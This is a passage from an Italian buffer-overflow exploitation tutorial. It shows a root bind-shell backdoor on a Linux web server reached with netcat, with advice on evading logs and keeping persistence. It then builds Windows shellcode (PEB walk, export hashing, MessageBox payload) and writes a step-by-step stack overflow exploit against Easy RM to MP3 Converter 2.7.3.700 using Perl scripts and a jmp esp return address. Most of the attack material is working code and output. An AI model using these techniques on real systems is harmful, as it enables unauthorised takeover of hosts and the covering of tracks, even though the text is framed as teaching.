[...] Possiamo fa continuare il programma staccandoci dal processo, vedrete che il server web continuerà a fornire il suo servizio, mentre, uno dei suoi figli, sta eseguendo la nostra backdoor. [...] gdb) quit A debugging session is active. Inferior 1 [process 2445] will be detached. Quit anyway? (y or n) y Detaching from program: /root/tinywebd, process 2445 root@Moon:~# netstat -napt Connessioni internet attive (server e stabiliti) Proto Recv-Q Send-Q Indirizzo locale Indirizzo esterno tcp 0 0 0.0.0.0:80 0.0.0.0:* tcp 0 0 0.0.0.0:22 0.0.0.0:* tcp 0 0 127.0.0.1:631 0.0.0.0:* tcp 0 0 0.0.0.0:23 0.0.0.0:* tcp 0 0 0.0.0.0:43690 0.0.0.0:* tcp 0 0 127.0.0.1:80 127.0.0.1:50092 tcp6 0 0 :::22 :::* tcp6 0 0 ::1:631 :::* tcp6 0 0 ::1:38712 :::* tcp6 0 0 :::445 :::* tcp6 0 0 :::139 :::*
Stato LISTEN LISTEN LISTEN LISTEN LISTEN CLOSE_WAIT LISTEN LISTEN LISTEN LISTEN LISTEN
PID/Program name 2472/tinywebd 577/sshd 966/cupsd 842/inetd 2472/tinywebd 2472/tinywebd 577/sshd 966/cupsd 2273/java 533/smbd 533/smbd
Questo tipo di exploit è particolarmente raffinato e riesce a bypassare la maggior parte dei sistemi IDS. Concludiamo mostrando come connettersi alla backdoor, facciamolo proprio da un'altro sistema: root@HackLab:~# nc -vv 192.168.0.101 43690 192.168.0.101: inverse host lookup failed: Unknown server error : Connection timed out (UNKNOWN) [192.168.0.101] 43690 (?) open id uid=0(root) gid=0(root) groups=0(root) Bene che facciamo ora? Andiamo a vedere che cosa è stato registrato nei log, cat /var/log/tinywebd.log [...] 10/09/2010 12:45:51> Starting 10/09/2010 12:51:11> Starting 10/09/2010 12:53:07> Starting 10/09/2010 12:55:15> Starting
up.. up.. up.. up..
Ci sono richieste precedenti e la segnalazione di avvio del server, non c'è nulla che ci riguarda. Questo perchè siamo andati a sovrascrivere anche il descrittore del file aperto. Se non fossimo riusciti a farlo, potremmo benissimo pulire il log ora. A questo punto potremmo ad esempio caricarci un programma ad hoc ed impostarlo come servizio, in modo che anche dopo un riavvio questo ci permetta di raggiungere il sistema, insomma possiamo disporre della macchina come vogliamo. Ho dimostrato come prendere il controllo di un web server vulnerabile, bypassando firewall, sistemi anti-intrusione e senza lasciare tracce. 0x15] (Arch: NT) -
Windows e il “dll hell”
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 127 di 193
System exploitation using buffer overflow
Up L’arduo compito che ci spetta è quello di spostarci in ambiente Microsoft Windows per applicare tutte le conoscenze che abbiamo accumulato fino a questo punto. Fortunatamente, non si tratterà di ricominciare da zero. I meccanismi che rendono un sistema vulnerabile possono essere presi universalmente per tutte le architetture. Ciò che cambia, quando ci spostiamo da una architettura ad un'altra, è il modo con il quale il codice di attacco deve essere composto, le convenzioni di chiamata e le funzioni stesse utilizzate. L’organizzazione della memoria nei sistemi operativi rimane grossomodo la stessa limitandosi ad alcune leggere differenze. Io ho intenzionalmente iniziato da Linux, perché questo offre una possibilità di apprendimento più elevata rispetto Windows, su Linux non abbiamo a disposizione gli automatismi che si possono trovare su windows, per questo siamo stati costretti a scendere nel dettaglio su molte questioni. Così facendo siamo arrivati a sapere con esattezza quello che accade a basso livello durante un attacco o al verificarsi di una vulnerabilità nel codice, e sappiamo come realizzare script di attacco in modo completamente manuale. Su windows esistono più possibilità di automatizzare queste operazioni, ed in più tutto può essere fatto con programmi muniti di interfaccia utente grafica. In più, Windows presenta caratteristiche di progettazione interna che lo mette in condizioni di essere più vulnerabile rispetto ad un sistema come Linux. Una delle caratteristiche più interessanti dal nostro punto di vista è il “Microsoft DLL system”. Questo è uno dei punti cruciali che vedremo. Da questo sistema, derivano varie serie di vulnerabilità oltre quelle legate ai buffer, e per la sua caratteristica progettuale di lavoro, le dll (Dynamic-link library) sono oggetti che useremo molto durante la scrittura delle shellcode. Prima di cominciare ricordo che è bene affrontare in modo approfondito l’architettura di NT, il formato del PE e il sistema dll. Trovate anche miei documenti al riguardo (su Dll injection e windows PE) sotto le relative sezioni. In questa parte darò anche per assunto certe questioni, che dovrebbero essere state acquisite in modo più che soddisfacente nei capitoli precedenti. Quindi concedetemi da adesso in poi, di diminuire il livello di dettaglio. Dunque, vediamo subito di indagare con l’aiuto di strumenti per il debugging, le sostanziali differenze con il precedente ambiente, cominciamo da un semplice programma che effettua una chiamata ad un’API (Application programming interface). Ci troviamo in ambiente Windows XP SP3, non abbiamo perciò a che fare con gli ultimi sistemi di sicurezza, dopo ce ne preoccuperemo. Il codice in questione si preoccupa di visualizzare una finestra di messaggio; #include <windows.h> int main(int argc, char** argv) { MessageBox(NULL, "Hello Hacker!", "Message", MB_OK); } Compiliamo e partiamo con immunity debugger. Questo ci inserisce i commenti relativi alla chiamata dell’API,
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 128 di 193
System exploitation using buffer overflow
Quindi possiamo velocemente capire come è composta la convenzione di chiamata per MessageBoxA. Oltre a questo ci viene segnalato anche che tale API si trova nel modulo “user32.dll”, questo lo possiamo capire da: “<JMP.&USER32.MessageBoxA>”. Per capire meglio, sempre nel debugger apriamo la finestra “Exutable modules”,
Vediamo che assieme al nostro eseguibile principale, che per me è “MessageBoxA.exe”, sono stati caricati altri moduli. E’ il compilatore che si è preso la briga di inserire le informazioni su quali moduli caricare dentro l’eseguibile, allora, quando il loader di windows caricherà un programma per l’esecuzione, leggerà nel suo PE le informazioni necessarie e caricherà i suddetti moduli. Dalla videata capiamo che i file di cui MessageBoxA.exe ha bisogno sono: CRTDLL.dll, IMM.dll, RPCRT4.dll, GDI32.dll, Secur32.dll, ADVAPI32.dll, kernel32.dll, ntdll.dll e USER32.dll. Tutti questi contengono codice eseguibile e ognuno, ha ulteriori dipendenze con altri moduli ancora. Quelli che si vedono in questo caso sono tutti moduli del sistema operativo. Un’altra videata interessante che mostra ulteriori dettagli riguardo il programma principale e i moduli è “memory map”. In questa occasione, ciò che ci interessa è la videata CPU, la principale, e il codice assembly che il compialtore ha prodotto. Seguendo questa falsariga, scriviamo l’equivalente assembly per il programma, al fine di ottenere successivamente una shellcode di test. Windows carica le dll sempre allo stesso indirizzo, fino alla versione 6.0 di NT, tali indirizzi non cambiano. Da questa in poi sono state aggiunte funzionalità per la sicurezza come l’ASLR che caricano le dll ad indirizzi casuali, proprio per evitare che sia possibile eseguire chiamate API utilizzando i loro indirizzi assoluti. Noi dobbiamo fare proprio questo; sempre all’interno del debugger seguiamo l’istruzione JMP per trovare l’indirizzo virtuale di MessageBoxA nel modulo USER32.dll,
poi,
L’indirizzo 0x7E3D07EA, è relativo a MessageBoxA. Un’alternativa decisamente più pratica è utilizzare il semplice programma “arwin”. Il sorgente Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 129 di 193
System exploitation using buffer overflow
arwin.c: --------- arwin.c -----------------------#include <windows.h> #include <stdio.h> /*************************************** arwin - win32 address resolution program by steve hanna v.01 vividmachines.com shanna@uiuc.edu you are free to modify this code but please attribute me if you change the code. bugfixes & additions are welcome please email me! to compile: you will need a win32 compiler with the win32 SDK this program finds the absolute address of a function in a specified DLL. happy shellcoding! ***************************************/ int main(int argc, char** argv) { HMODULE hmod_libname; FARPROC fprc_func; printf("arwin - win32 address resolution program - by steve hanna - v.01\n"); if(argc < 3) { printf("%s <Library Name> <Function Name>\n",argv[0]); exit(-1); } hmod_libname = LoadLibrary(argv[1]); if(hmod_libname == NULL) { printf("Error: could not load library!\n"); exit(-1); } fprc_func = GetProcAddress(hmod_libname,argv[2]); if(fprc_func == NULL) { printf("Error: could find the function in the library!\n"); exit(-1); } printf("%s is located at 0x%08x in %s\n",argv[2],(unsigned int)fprc_func,argv[1]); } --------- arwin.c END -----------------------Per ora non ci preoccuperemo di caricare la dll a runtime, ci penserà già il compilatore a Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 130 di 193
System exploitation using buffer overflow
farlo, dato che dovremo basarci poi su un progetto C per il test. Il seguente è il listato assembly per nasm già ottimizzato senza byte nulli: --------- MessageBoxCode.asm -----------------------[section .text] [BITS 32] global _start _start: jmp short GetCaption CaptionReturn: pop ebx jmp short GetText TextReturn: pop ecx xor eax, eax mov [ebx+0x07], al mov [ecx+0x0d], al push eax push ebx push ecx push eax
; Get caption ; Put caption address in EBX ; Get text ; Put text address in ECX ; ; ; ; ; ; ;
Set EAX to 0 Set terminator character for caption Set terminator character for text Push null byte [Btn Type = MB_OK] Push caption addr [title] Push text addr [text] Push null byte [owner]
mov esi, 0x7e3d07ea ; Move address of MessageBoxA in ESI call esi ; Jump to MessageBoxA xor eax, eax ; Set EAX to 0 push eax ; Push exit value mov eax, 0x7c81cb12 ; Move address od ExitProcess in EAX call eax ; Jump to ExitProcess GetCaption: call CaptionReturn ; Caption db "MessageX" GetText: call TextReturn ; Text db "Hello hacker!X" --------- MessageBoxCode.asm END -----------------------La tecnica utilizzata per ricavare l’indirizzo delle stringhe per titolo e testo già la conoscete. Per ottenere gli opcode, C:\env>nasm MessageBoxCode.asm -o MsgBoxCode.bin Poi C:\env>ndisasm MsgBoxCode.bin 00000000 EB21 jmp 00000002 5B pop 00000003 EB2B jmp 00000005 59 pop 00000006 31C0 xor 00000008 884307 mov Copyright © Matteo Tosato 2010-2011
short 0x23 bx short 0x30 cx ax,ax [bp+di+0x7],al tosatz@tiscali.it rev.2.2
Pag. 131 di 193
System exploitation using buffer overflow
0000000B 0000000E 0000000F 00000010 00000011 00000012 00000015 00000018 00000019 0000001B 0000001C 0000001F 00000024 00000025 00000026 00000027 0000002A 0000002C 0000002D 00000030 00000033 00000034 00000037 00000038 00000039 0000003A 0000003D 00000040 00000042
88410D 50 53 51 50 BEEA07 3D7EFF D6 31C0 50 B812CB 817CFFD0E8 DA FF FF FF4D65 7373 61 676558 E8D0FF FF FF4865 6C 6C 6F 206861 636B65 7221 58
mov [bx+di+0xd],al push ax push bx push cx push ax mov si,0x7ea cmp ax,0xff7e salc xor ax,ax push ax mov ax,0xcb12 cmp word [si-0x1],0xe8d0 db 0xda db 0xff db 0xff dec word [di+0x65] jnc 0x9f popaw gs a32 pop ax call word 0x3 db 0xff dec word [bx+si+0x65] insb insb outsw and [bx+si+0x61],ch arpl [bp+di+0x65],bp jc 0x63 pop ax
Quindi, --------- test.c -----------------------char code[]= "\xeb\x21\x5b\xeb\x2b\x59\x31\xc0" "\x88\x43\x07\x88\x41\x0d\x50\x53" "\x51\x50\xbe\xea\x07\x3d\x7e\xff" "\xd6\x31\xc0\x50\xb8\x12\xcb\x81" "\x7c\xff\xd0\xe8\xda\xff\xff\xff" "\x4d\x65\x73\x73\x61\x67\x65\x58" "\xe8\xd0\xff\xff\xff\x48\x65\x6c" "\x6c\x6f\x20\x68\x61\x63\x6b\x65" "\x72\x21\x58"; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); } --------- test.c END -----------------------All’esecuzione avremo:
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 132 di 193
System exploitation using buffer overflow
Ritornando al discorso fatto sulle dll, diciamo che la shellcode appena vista funzionerà solo se USER32.dll è mappata in memoria, molte volte non è così, se il programma in cui iniettiamo la shellcode non necessita della dll in questione il nostro codice non funzionerà. Inoltre non abbiamo pensato al problema della portabilità, su sistemi operativi windows differenti, gli indirizzi dove le dll vengono caricate sono diversi per versioni di os. Dobbiamo produrre codice più indipendente rispetto quello appena visto, esso dovrà preoccuparsi di caricare le dll di cui ha bisogno. Riguardando il sorgente arwin.c, capiamo che utilizzando la libreria kernel32.dll e le sue API LoadLibraryA() e GetProcAddress() possiamo caricarci in memoria qualsiasi modulo che vogliamo e utilizzare una delle funzioni che essi esportano. Kernel32.dll è una delle più importanti dll di sistema e come tale, è mappata in tutti i processi, il problema è trovare il suo indirizzo base a runtime tenendo presente che questo può essere differente da sistema a sistema. Il documento datato giugno 2003 di “skape” illustra una serie di metodologie in grado di trovare a seconda del sistema operativo in uso, l’indirizzo di kernel32.dll. Questo può essere fatto perché in ogni processo, esiste una struttura detta “PEB” (Process environment block) che contiene informazioni riguardo il processo stesso. Kernel32.dll è sempre presente in questo elenco come seconda posizione nella lista “InInitializationOrderModuleList”, eccetto per windows 7, per quest’ultimo la tecnica da utilizzare è un’altra. Ma stando per ora a Win XP dovremo rifarci a questa pratica più antiquata. La suddetta struttura si trova, sempre, dentro ogni processo all’indirizzo virtuale fs:[0x30]. Una struttura simile è mantenuta anche nello spazio di indirizzi del kernel, chiamata “PCB” (Kernel process block), ora ci occorre sapere di più della prima; la struttura PEB. Si guardi anche la struttura ‘TEB’, questa ci interesserà in futuro. La struttura PEB è composta dai campi seguenti, schematizzati a blocchi: Image base address Module list Thread-local storage data Code page data Critical section timeout Number of heaps Heap size information Process heap GDI shared handle table Operating system version number information Image version information Image process affinity mask Più nel dettaglio; typedef struct _PEB { BOOLEAN BOOLEAN BOOLEAN BOOLEAN HANDLE PVOID
InheritedAddressSpace; ReadImageFileExecOptions; BeingDebugged; Spare; Mutant; ImageBaseAddress;
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 133 di 193
System exploitation using buffer overflow
PPEB_LDR_DATA LoaderData; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PVOID FastPebLock; PPEBLOCKROUTINE FastPebLockRoutine; PPEBLOCKROUTINE FastPebUnlockRoutine; ULONG EnvironmentUpdateCount; PPVOID KernelCallbackTable; PVOID EventLogSection; PVOID EventLog; PPEB_FREE_BLOCK FreeList; ULONG TlsExpansionCounter; PVOID TlsBitmap; ULONG TlsBitmapBits[0x2]; PVOID ReadOnlySharedMemoryBase; PVOID ReadOnlySharedMemoryHeap; PPVOID ReadOnlyStaticServerData; PVOID AnsiCodePageData; PVOID OemCodePageData; PVOID UnicodeCaseTableData; ULONG NumberOfProcessors; ULONG NtGlobalFlag; BYTE Spare2[0x4]; LARGE_INTEGER CriticalSectionTimeout; ULONG HeapSegmentReserve; ULONG HeapSegmentCommit; ULONG HeapDeCommitTotalFreeThreshold; ULONG HeapDeCommitFreeBlockThreshold; ULONG NumberOfHeaps; ULONG MaximumNumberOfHeaps; PPVOID *ProcessHeaps; PVOID GdiSharedHandleTable; PVOID ProcessStarterHelper; PVOID GdiDCAttributeList; PVOID LoaderLock; ULONG OSMajorVersion; ULONG OSMinorVersion; ULONG OSBuildNumber; ULONG OSPlatformId; ULONG ImageSubSystem; ULONG ImageSubSystemMajorVersion; ULONG ImageSubSystemMinorVersion; ULONG GdiHandleBuffer[0x22]; ULONG PostProcessInitRoutine; ULONG TlsExpansionBitmap; BYTE TlsExpansionBitmapBits[0x80]; ULONG SessionId; } PEB, *PPEB; In particolar modo ci interessa la sotto-struttura seguente: typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; PVOID SsHandle; Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 134 di 193
System exploitation using buffer overflow
LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA, *PPEB_LDR_DATA; Per windows NT, il codice ideato è il seguente: [From skape, ‘NoLogin – Understanding windows shellcode paper’] push esi xor eax, mov eax, mov eax, mov esi, lodsd mov eax, pop esi ret
eax [fs:eax+0x30] [eax + 0x0c] [eax + 0x1c] [eax + 0x8]
Una versione più estesa che include anche windows 95 e 98 è invece questa: find_kernel32: push esi xor eax, eax mov eax, [fs:eax+0x30] test eax, eax js find_kernel32_9x find_kernel32_nt: mov eax, [eax + 0x0c] mov esi, [eax + 0x1c] lodsd mov eax, [eax + 0x8] jmp find_kernel32_finished find_kernel32_9x: mov eax, [eax + 0x34] lea eax, [eax + 0x7c] mov eax, [eax + 0x3c] find_kernel32_finished: pop esi ret Alla fine dell’esecuzione di questo codice, l’indirizzo di kernel32.dll si troverà in EAX. Su Windows 7 kernel32.dll non si trova nella seconda entry ma nella terza, il codice può essere perciò modificato e reso compatibile per tutte le versioni, da windows 2000 a windows 7, questa modifica è stata apportata dal gruppo “harmonysecurity.com” [BITS 32] push esi xor eax, eax xor ebx, ebx mov bl,0x30 mov eax, [fs: ebx ] mov eax, [ eax + 0x0C ] mov eax, [ eax + 0x14 ] push eax pop esi
; ; ; ; ; ;
clear eax clear ebx set ebx to 0x30 get a pointer to the PEB (no null bytes) get PEB->Ldr get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 135 di 193
System exploitation using buffer overflow
mov eax, [ esi ] push eax pop esi mov eax, [ esi ] mov eax, [ eax + 0x10 ] pop esi
; get the next entry (2nd entry) ; get the next entry (3rd entry) ; get the 3rd entries base address (kernel32.dll)
Una volta che abbiamo l’indirizzo base di kernel32.dll dobbiamo ricavare gli indirizzi delle due funzioni, LoadLibraryA e GetProcAddress, il problema è che per farlo, dovremmo usare GetProcAddress ... E’ stato quindi pensato un modo alternativo, purtroppo non è un sistema pratico e semplice, occorre utilizzare l’export directory della dll kernel32 per trovare il simbolo di GetProcAddress e poi risolverlo. La export directory è una tabella che contiene il numero del simbolo (l’ordinal) e l’indirizzo relativo (RVA) della funzione. Al fine di risolvere questo simbolo dobbiamo percorrere tutta la tabella alla ricerca di quello relativo a GetProcAddress. Dato che confrontare l’intera stringa del nome della funzione rende molto più lungo il codice, si preferisce nella maggior parte dei casi, utilizzare gli hash. Questo hash (valore) si calcola nel seguente modo: - Occorre l’indice del simbolo in relazione alla matrice degli ordinal - Questo indice viene usato assieme all’array di funzioni per produrre l’indirizzo virtuale relativo al simbolo. - Si aggiunge l’indirizzo base della dll a questo RVA, ottenendo un VMA, (indirizzo di memoria virtuale) della funzione. Il listato seguente mostra come trovare l’indirizzo desiderato partendo da un hash, il codice per trovare l’hash lo vediamo tra un attimo, find_function: pushad mov ebp, [esp+0x24] mov eax, [ebp+0x3c] mov edx, [ebp+eax+0x78] add edx, ebp mov ecx, [edx+0x18] mov ebx, [edx+0x20] add ebx, ebp find_function_loop: jecxz find_function_finished dec ecx mov esi, [ebx+ecx*4] add esi, ebp compute_hash: xor edi, edi xor eax, eax cld
Copyright © Matteo Tosato 2010-2011
;save all registers ;put base address of module that is being ;loaded in ebp ;skip over MSDOS header ;go to export table and put relative address ;in edx ;add base address to it. ;edx = absolute address of export table ;set up counter ECX ;(how many exported items are in array ?) ;put names table relative offset in ebx ;add base address to it. ;ebx = absolute address of names table ;if ecx=0, then last symbol has been checked. ;(should never happen) ;unless function could not be found ;ecx=ecx-1 ;get relative offset of the name associated ;with the current symbol ;and store offset in esi ;add base address. ;esi = absolute address of current symbol ;zero out edi ;zero out eax ;clear direction flag. ;will make sure that it increments instead of ;decrements when using lods* tosatz@tiscali.it rev.2.2
Pag. 136 di 193
System exploitation using buffer overflow
compute_hash_again: lodsb test al, al jz compute_hash_finished ror edi, 0xd add edi, eax jmp compute_hash_again compute_hash_finished: find_function_compare: cmp edi, [esp+0x28] jnz find_function_loop mov ebx, [edx+0x24] add ebx, ebp mov cx, [ebx+2*ecx] mov ebx, [edx+0x1c] add ebx, ebp mov eax, [ebx+4*ecx] add eax, ebp mov [esp+0x1c], eax find_function_finished: popad ret
;load bytes at esi (current symbol name) ;into al, + increment esi ;bitwise test : ;see if end of string has been reached ;if zero flag is set = end of string reached ;if zero flag is not set, rotate current ;value of hash 13 bits to the right ;add current character of symbol name ;to hash accumulator ;continue loop ;see if computed hash matches requested hash (at esp+0x28) ;no match, go to next symbol ;if match : extract ordinals table ;relative offset and put in ebx ;add base address. ;ebx = absolute address of ordinals address table ;get current symbol ordinal number (2 bytes) ;get address table relative and put in ebx ;add base address. ;ebx = absolute address of address table ;get relative f. Off. from its ordinal and put in eax ;add base address. ;eax = absolute address of function address ;overwrite stack copy of eax so popad ;will return function address in eax ;retrieve original registers. ;eax will contain function address ;only needed if code was not used inline
Supponendo che il puntatore all’hash è stato inserito nello stack con push, possiamo utilizzare il codice seguente per chiamare la procedura suddetta: pop esi lodsd push eax push edx
;take ;load ;push ;push
pointer to hash from stack and put it in esi the hash itself into eax (pointed to by esi) hash to stack base address of dll to stack
call find_function Quando find_function ritorna, l’indirizzo della funzione si troverà in EAX. Abbiamo precedentemente detto, che per localizzare l’indirizzo di una funzione nel modo appena visto, ci occorre il suo hash. La ricerca di questo può essere fatta a parte, non c’è bisogno di inserire il codice necessario nell’exploit. Un sorgente per il calcolo del valore hash è il seguente: --------- GenerateHash.c -----------------------//written by Rick2600 rick2600s[at]gmail{dot}com //tweaked just a little by Peter Van Eeckhoutte //http://www.corelan.be:8800 //This script will produce a hash for a given function name //If no arguments are given, a list with some common function Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 137 di 193
System exploitation using buffer overflow
//names and their corresponding hashes will be displayed #include <stdio.h> #include <string.h> #include <stdlib.h> long rol(long value, int n); long ror(long value, int n); long calculate_hash(char *function_name); void banner(); int main(int argc, char *argv[]) { banner(); if (argc < 2) { int i=0; char *func[] = { "FatalAppExitA", "LoadLibraryA", "GetProcAddress", "WriteFile", "CloseHandle", "Sleep", "ReadFile", "GetStdHandle", "CreatePipe", "SetHandleInformation", "WinExec", "ExitProcess", 0x0 }; printf("HASH\t\t\tFUNCTION\n----\t\t\t--------\n"); while ( *func ) { printf("0x%X\t\t%s\n", calculate_hash(*func), *func); i++; *func = func[i]; } } else { char *manfunc[] = {argv[1]}; printf("HASH\t\t\tFUNCTION\n----\t\t\t--------\n"); printf("0x%X\t\t%s\n", calculate_hash(*manfunc), *manfunc); } return 0; } long calculate_hash( char *function_name ) { int aux = 0; unsigned long hash = 0; Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 138 di 193
System exploitation using buffer overflow
while (*function_name) { hash = ror(hash, 13); hash += *function_name; *function_name++; } while ( hash > 0 ) { aux = aux << 8; aux += (hash & 0x00000FF); hash = hash >> 8; } hash = aux; return hash; } long rol(long value, int n) { __asm__ ("rol %%cl, %%eax" : "=a" (value) : "a" (value), "c" (n) ); return value; } long ror(long value, int n) { __asm__ ("ror %%cl, %%eax" : "=a" (value) : "a" (value), "c" (n) ); return value; } void banner() { printf("----------------------------------------------\n"); printf(" --==[ GenerateHash v1.0 ]==--\n"); printf(" written by rick2600 and Peter Van Eeckhoutte\n"); printf(" http://www.corelan.be:8800\n"); printf("----------------------------------------------\n"); } --------- GenerateHash.c END -----------------------Se non viene specificato argomento, l’output del programma è simile a questo: -----------------------------------------------==[ GenerateHash v1.0 ]==-written by rick2600 and Peter Van Eeckhoutte http://www.corelan.be:8800 Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 139 di 193
System exploitation using buffer overflow
---------------------------------------------HASH FUNCTION ----------0x577F2962 FatalAppExitA 0x8E4E0EEC LoadLibraryA 0xAAFC0D7C GetProcAddress 0x1F790AE8 WriteFile 0xFB97FD0F CloseHandle 0xB0492DDB Sleep 0x1665FA10 ReadFile 0x23D88774 GetStdHandle 0x808F0C17 CreatePipe 0x44119E7F SetHandleInformation 0x98FE8A0E WinExec 0x7ED8E273 ExitProcess Ora che abbiamo tutti gli elementi necessari, possiamo produrre una shellcode che funzioni in modo indipendente. Riepilogando, le cose che dobbiamo fare sono: - Utilizzare l’algoritmo di skape per localizzare l’indirizzo di kernel32. - Ricavare dalla tabella di esportazione di kernel32 gli indirizzi di cui abbiamo bisogno, ad esempio LoadLibrary, ExitProcess, etc ... non siamo obbligati ad usare GetProcAddress. - Caricare gli eventuali altri moduli che ci occorrono. - A questo punto possiamo chiamare qualsiasi API che vogliamo utilizzare per il nostro shellcode Queste erano le informazioni minime necessarie per comprendere come realizzare delle shellcode base per windows. 0x16] (Arch: NT) – Stack based overflow exploit Up Vediamo ora come si tratta un vulnerabilità comune in ambiente windows. Il problema è del tipo più comune “stack-based”. Il programma che prendiamo in esame è “Easy RM to MP3 Converter” versione 2.7.3.700. Questo è una utility per la conversione di file audio. Lo sfondamento del buffer si verifica quando si tenta di aprire un file “.m3u” con all’interno 20000 – 30000 caratteri. Il test; creiamo un file m3u e lo riempiamo con una stringa lunga 100000 char. Ad esempio ‘A’*100000. Con perl, my $file= "crash.m3u"; my $junk= "A" x 100000; open($FILE,">$file"); print $FILE $junk; close($FILE); print "Create crash file succesfully"; Lo apriamo con il programma tenendo quest’ultimo sotto controllo con un debugger, quale windbg o Immunity dbg.
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 140 di 193
System exploitation using buffer overflow
Quando confermiamo, il programma carica il contenuto del file in memoria, il debugger si fermerà su un avviso di “access violation”, dato che EIP punterà a 0x41414141, come sapete, significa che l’indirizzo di ritorno della funzione è stato sovrascritto e l’esecuzione è saltata su una locazione corrotta dal nostro file; come si vede dal debugger:
Se modifichiamo il nostro script perl in modo da utilizzare una stringa mista con ‘A’ e ‘B’, andando per tentativi, è possibile scoprire l’esatto indirizzo al quale si trova il puntatore al prossimo indirizzo di ritorno dalla funzione attuale. Esistono poi alcuni strumenti all’interno del framework metasploit che possono tornare utili. Per questo caso, uno è lo script pattern_create.rb l’altro pattern_offset.rb, vanno utilizzati in coppia. Il primo genera un buffer con sequenze univoche. Ciò significa che sovrascrivendo l’EIP salvato il debugger si fermerà su di un byte il quale fungerà da indice per stabilire la distanza tra il buffer e l’EIP salvato. Questo compito è infatti risolto dal secondo script una volta in possesso del valore sul quale il registro EIP si è fermato. Un esempio di uso può essere il seguente: C:\Programmi\Rapid7\framework\msf3\tools>pattern_create.rb 8000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4A … [8000 byte] Inserisco il buffer in uno script di questo tipo: (il numero 26000 è stato trovato andando per tentativi, ovvero aumentando/diminuendo la lunghezza della stringa nel file, alla ricerca di una misura critica che facesse crashare l’applicazione. Questi script sono utili in quanto ci Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 141 di 193
System exploitation using buffer overflow
evitano di aumentare la stringa un byte alla volta) my $file= "crash.m3u"; my $junk= "Aa0Aa1A ... my $pattern= "Put pattern here”; open($FILE,">$file"); print $FILE $junk.$pattern; close($FILE); print "Create crash file succesfully"; Eseguo il programma caricando il mio file, prendo nota del valore trovato in EIP, lo coverto in ASCII e utilizzo il secondo script come segue: C:\Programmi\Rapid7\framework\msf3\tools>pattern_offset.rb A5dA 8000 105 Sul mio sistema windows XP SP3 Italiano, ho determinato dopo alcuni (noiosi) tentativi che la distanza dal mio buffer all’indirizzo di ritorno è 26105 byte. Questa è il numero di byte minimi necessari per sovrascrivere la locazione critica. Allora il mio script può cambiare ancora in: my $file= "crash.m3u"; my $junk= "A" x 26105; my $eip= "\x00\x0f\xf7\x30"; # Buffer address my $pattern= "C" x 1024; open($FILE,">$file"); print $FILE $junk.$eip.$pattern; close($FILE); print "Create crash file succesfully"; Avete individuato il problema? L’indirizzo che possiamo utilizzare per far saltare EIP sul buffer contiene un byte nullo. Non possiamo utilizzarlo, in quanto la copia si arresterebbe a quel punto, lasciando indietro la shellocode. Occorre trovare un modo alternativo. Se guardiamo bene nel debugger la finestra “Exutable modules”, notiamo che le DLL di sistema vengono caricate sempre agli stessi indirizzi in memoria (siamo su XP sp3, non è così su sistemi successivi). Allora sfruttando il fatto che la shellcode risulterà puntata da ESP (si ricordi lo stato dei registri; ESP puntava al buffer)
potremmo pensare di cercare in un modulo eseguibile l’istruzione (che sarà statica) “jmp esp”. E utilizzare il suo indirizzo di memoria esente da byte nulli per sovrascrivere la locazione. Vari strumenti ci possono aiutare nella ricerca, in primis windbg, il quale possiede la funzione “ricerca” relativa a istruzioni o opcode. Oppure possiamo utilizzare vari script plugin per Immunity debugger, uno di questi è ‘pvefindaddr’ di Peter Van Eeckhoutte. Questi strumenti si trovano facilmente facendo una ricerca in internet. Allora il mio script sarà: my $file= "crash.m3u"; my $junk= "A" x 26105; my $eip= "\x53\x93\x3a\x7e"; # Jmp from muodule to ESP Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 142 di 193
System exploitation using buffer overflow
my $int= “\x90\x90\x90\x90\x90\x90\x90\xcc”; my $pattern= "C" x 1024; open($FILE,">$file"); print $FILE $junk.$eip.$int.$pattern; close($FILE); print "Create crash file succesfully"; l’indirizzo 0x7e3a9353 punta ad una istruzione jmp verso il registro ESP in USER32.dll, che nel mio caso, è caricata sempre allo stesso VA. Eseguendo il programma con il file prodotto, mi aspetto che EIP si fermi sull’interrupt ‘INT3’ inserito dopo aver eseguito i NOP. Infatti è proprio ciò che si verifica:
Ora ci basta sostituire la variabile ‘$int’ con un payload valido. Nei precedenti capitoli abbiamo visto come costruire shellcode di attacco in ambiente Linux. Il maggior risultato che è possibile ottenere in questo frangente, è il controllo del sistema. Quindi riuscire ad installare in qualche maniera, una backdoor sull’host attaccato. Nel caso di linux si trattava di eseguire una shell ‘/bin/sh’ direzionando i suoi stream standard su un socket TCP appositamente creato. Anche nel caso di windows le cose non cambiano di molto. L’unica differenza è che il codice necessario, essendo windows più complesso, sarà notevolmente più lungo. Avremo perciò una shellcode di molti byte. Come abbiamo visto, per prima cosa è bene scrivere in C, il programma che abbiamo in mente, in modo tale che ci aiuti a capire poi, come costruire il programma in linguaggio macchina. Windows possiede due tipi di librerie socket. Noi andremo ad utilizzare la seconda versione. Il codice si trova nella dll di sistema ‘ws2_32.dll’. Prima di vedere il codice, dobbiamo chiarire le strade percorribili 